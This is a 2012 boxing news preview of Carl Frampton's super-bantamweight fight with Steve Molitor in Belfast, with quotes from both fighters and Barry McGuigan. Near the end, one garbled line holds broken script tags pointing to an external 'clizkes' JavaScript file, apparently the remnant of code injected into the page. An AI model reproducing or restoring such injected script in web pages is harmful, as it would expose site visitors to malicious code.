Frampton has the balls for Molitor test

20th September 2012

Carl Frampton

Carl Frampton will face two-time world champion Steve Molitor at the Odyssey Arena in Belfast on Saturday night and the Canadian paid tribute to the Belfast man for ‘having the balls’ to take him on. – But insisted that Frampton will find himself ‘out of his depth’ in this International super-bantamweight contest.

Frampton’s Commonwealth and IBF Inter Continental belts will be on the line and a win over Molitor would propel him up the world rankings.

Molitor agreed to face Frampton (14-0, 9KOs) after Kiko Martinez pulled out and the experienced 32-year-old claims the step up in class has come too soon for his opponent. “Although I am coming in off of Martinez stepping out, I have been training like a mad man for several months.” said Molitor.

“I am not hungry, I am starving. Mr Eddie Hearn, Mr Barry McGuigan and Mr Frampton, you have all the respect in the world from me. Stepping up against me as a two time IBF Champion of the World takes balls. I’d like to thank the Irish public in advance for coming out to the show and I have to tell them: Don’t blink, you’re going to love the fireworks!”

Molitor (34-2, 12KOs) first held the IBF belt in 2006 after beating Michael Hunter over here and then successfully defended it five times before regaining it again in 2010. He has fought four times in the UK, with wins over Hunter, John Mackay, Nicky Booth and Jason Booth and he says he is not coming here has a stepping stone for anyone and plans to go away with his 5th win on these shores.

“I love fighting across the pond,” said Molitor. “I’m four for four over there and plan on retaining that perfect record.

“I am excited about fighting Frampton. Although he is not a household name amongst the rest in my division, he is recognised as a future star. Scott Quigg, Kid Galahad, and Carl are all names that are trying to make a name for themselves in the 122lb division, but unfortunately none of them will be making it off the Molitor name.

But unbeaten hot prospect Frampton, 25, who is managed by Barry McGuigan, is determined to send out a statement that he is ready for the world’s best by defeating Molitor. “He’s said a few things about me in the build-up and he obviously likes to talk a bit – that’s fine,” said Frampton.

Steve Molitor

“All that matters to me is victory on Saturday night and doing it in the best possible way for the fans. He won’t have any friends in the Arena on Saturday and his words won’t be able to help him then.

“I would love to fight him right now, I’m totally ready. This is a massive fight for me, I know that I am leaping up the levels to face Molitor, but I believe I have more than enough to cope with him and this is the right time for me to prove I can cut it at the top.

“It’s going to be a lot better beating a guy like Steve Molitor than it was beating Prosper Ankrah. It’s going to make people stand up and take notice. This is a 50-50 fight.”

Frampton’s manager former featherweight world champion McGuigan, admits that Molitor is a dangerous proposition for his prodigy, but believes that this is the kind of fight that they have been looking for and welcome the test that he poses after original opponent Martinez pulled out.

“Steve has boxed at a higher level than Kiko so this is a much tougher fight for Carl – but the kind of fight we want him to be in,” said McGuigan. “We could’ve looked further down the list of opponents and taken an easier fight but Carl wants to operate at World level and Molitor is certainly there.

“Most importantly we’ve replaced one great fight with another so the Belfast fans are still going to see an incredible night of boxing topped by a brilliant main event one that is possibly even more exciting that the Martinez fight and that’s what the fans deserve to see, Carl fighting a World class operator.”

The Undercard is great support to the main event with Barry’s Lee Selby defending his British and Commonwealth featherweight titles against Belfast’s former Lonsdale belt holder Martin Lindsay in what is sure to be corker of a battle. read more

Paul McCloskey will take on Manuel Perez as he looks to get back to winning ways and back in contention for another world title shot, after his shock defeat to DeMarcus Corley in May.

# src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>

Thanks for reading and watching, hope you come back soon. Please Follow us on Social Media for updates…

Instagram: https://www.instagram.com/britishboxers_bbtv
Twitter: https://twitter.com/britishboxers
Facebook: https://www.facebook.com/britishboxers
YouTube: https://www.youtube.com/britishboxersuk

boxing #britishboxing